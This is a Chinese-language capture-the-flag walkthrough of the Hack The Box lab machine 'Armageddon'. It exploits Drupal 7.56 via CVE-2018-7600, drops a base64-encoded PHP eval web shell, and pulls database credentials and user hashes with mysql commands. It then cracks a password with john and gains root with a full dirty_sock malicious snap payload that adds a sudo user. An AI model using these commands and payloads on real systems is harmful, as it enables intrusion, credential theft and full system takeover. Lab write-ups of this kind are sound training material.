Hackthebox-Armageddon
Hackthebox-Armageddon
目标IP:10.10.10.233
本机IP:10.10.14.209
信息收集
nmap
开放了22、80端口
打开Burpsuite,配置好代理(个人习惯,F12一样的)
直接访问看下网站功能
没什么特别的功能,注册一个账号试试
输入账号邮箱以后密码发到邮箱里,但这个功能应该是假的,没有收到任何邮件
简单尝试了一下似乎也没有sql注入
Dirsearch
扫了一下网站目录,发现了robots.txt
、shell.php
等
查看下robots.txt
里面都有什么
1 | User-agent: * |
网站居然没有任何限制,可以直接看目录
几个目录都翻烂了也没啥有用的信息
在更新日志(/CHANGELOG.txt)里发现了重要信息
从更新日志里可以看到,网站最后更新的Drupal 7.56
Google上搜了一波得知Drupal 7.56爆出过远程代码执行漏洞,影响范围Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1
Drupal远程代码执行漏洞利用
详情可搜CVE:2018-7600,分析文章已经很多了不多赘述(Exp在参考链接)
方法一
–部分Drupalgeddon2代码–
1 | # Settings - Try to write a PHP to the web root? |
上面Dirsearch扫描发现就有个shell.php
,应该是别的gamer在做靶机的时候写进来的,尝试下果然
利用shell.php
入自己的一句话并用蚁剑连接(想弹个shell出来发现弹不出来,可能姿势不对)
1 | echo PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K|base64 -d >jasontt.php |
蚁剑成功连接
根目录下没有user.txt,那应该不在当前用户下
终于/var/www/html/sites/default/settings.php
里发现了数据库的用户名密码
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
接下来利用找到的数据库账号密码从数据库中找到有用的信息
1 | mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;' |
查看drupal
中有哪些表
1 | mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'show tables;' |
1 | Tables_in_drupal |
查看users
表中有哪些字段
1 | mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'desc users;' |
name和pass应该就是账号密码了,查看一下
1 | mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select name,pass from users;' |
方法二
除了利用网上找到的Exp也可以使用工具Metasploit
getshell以后操作和方法一差不多就不继续写了,可以参考上面的。
密码破解
在数据库里得到了brucetherealadmin用户的账号密码
1 | brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt |
密码应该是hash加密过了,用Kali里自带的工具john the ripper
破解
新建一个txt文档存放密码,john命令如下:
1 | john hash.txt -w /usr/share/wordlists/rockyou.txt |
得到密码为booboo
尝试刚得到的用户名密码SSH
,连接成功
user.txt在~
目录下
提权
用sudo -l
查看用户的权限
直接google搜索(root) NOPASSWD: /usr/bin/snap install *
得到有用的信息dirty_sock:Linux提权漏洞(snap漏洞分析参考链接2)
2019年1月,由于默认安装的服务snapd API中的一个bug,通过默认安装的Ubuntu Linux被发现存在特权提升漏洞,任何本地用户都可以利用此漏洞直接获取root权限。
通过python --version
发现本地是python2,本台靶机用dirty_sockv2.py
中的一部分就可以提权了
snap本身运行在沙箱环境中,exp通过snap的开发模式(“devmode”)来降低限制条件,从而像主机上的其他应用一样来访问主机。snap还引入了“hooks”机制,“install hook”会在snap安装时运行,如果snap配置为开发模式,hook将会在root上下文中运行
脚本作用就是添加了一个dirty_sock
用户可以提权到root
1 | python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4256 + "=="' | base64 -d > jasontt.snap |
安装jasont.snap
1 | sudo /user/bin/snap install --devmode jasontt.snap |
用cat /etc/passwd
看看dirty_sock
用户有没有添加成功
用户添加成功了,我们用su
命令切换到sock_dirty
用户,密码同用户名
得到root权限,拿到root.txt
参考链接
https://www.exploit-db.com/exploits/44449